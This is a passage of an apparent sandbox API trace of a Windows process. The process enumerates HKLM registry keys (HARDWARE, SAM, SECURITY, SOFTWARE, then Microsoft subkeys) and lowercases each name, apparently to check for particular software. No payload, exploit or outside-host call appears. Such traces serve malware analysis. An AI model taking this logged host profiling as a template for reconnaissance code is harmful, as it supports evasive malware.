RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bc58) returned 1 [0252.877] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bca0) returned 1 [0252.877] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.877] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x28b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0252.877] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0252.877] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bca0 [0252.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x28bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0252.877] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bc58 [0252.877] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bca0) returned 1 [0252.877] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bc58) returned 1 [0252.877] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.877] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x28b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0252.877] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.877] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bc58 [0252.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x28bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0252.877] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bca0 [0252.877] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bc58) returned 1 [0252.877] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bca0) returned 1 [0252.877] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.877] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x28b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bca0 [0252.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x28bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bc58 [0252.878] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bca0) returned 1 [0252.878] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bc58) returned 1 [0252.878] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.878] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x28b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bc58 [0252.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x28bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bca0 [0252.878] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bc58) returned 1 [0252.878] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bca0) returned 1 [0252.878] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.878] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x15f7e4 | out: phkResult=0x15f7e4*=0xa0) returned 0x0 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x184) returned 0x28d040 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bca0 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bc58 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bce8 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bd30 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bd78 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bdc0 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28be08 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28be50 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28be98 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bee0 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bf28 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bf70 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28bfb8 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c000 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c048 [0252.878] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c090 [0252.878] RegCloseKey (hKey=0x80000002) returned 0x0 [0252.878] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x28b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x28c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.879] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x28b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x28c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.879] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x28b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x28c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.879] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x28b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x28c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.879] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.879] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x28b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0252.879] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x28c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.880] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x28b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x28c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.880] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x28b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x28c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.880] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x15f7e4 | out: phkResult=0x15f7e4*=0x24) returned 0x0 [0252.880] RegCloseKey (hKey=0xa0) returned 0x0 [0252.880] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x28b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x28c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0252.880] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.880] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.881] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x28b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x28c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.881] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x28b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x28c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.881] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x28b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x28c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.881] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x28b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x28c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0252.881] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.881] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.881] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x28b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x28c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x28b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x28c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x28b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0252.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x28c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0252.882] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bbb8) returned 1 [0252.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x28b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0252.882] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bbb8 [0252.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", 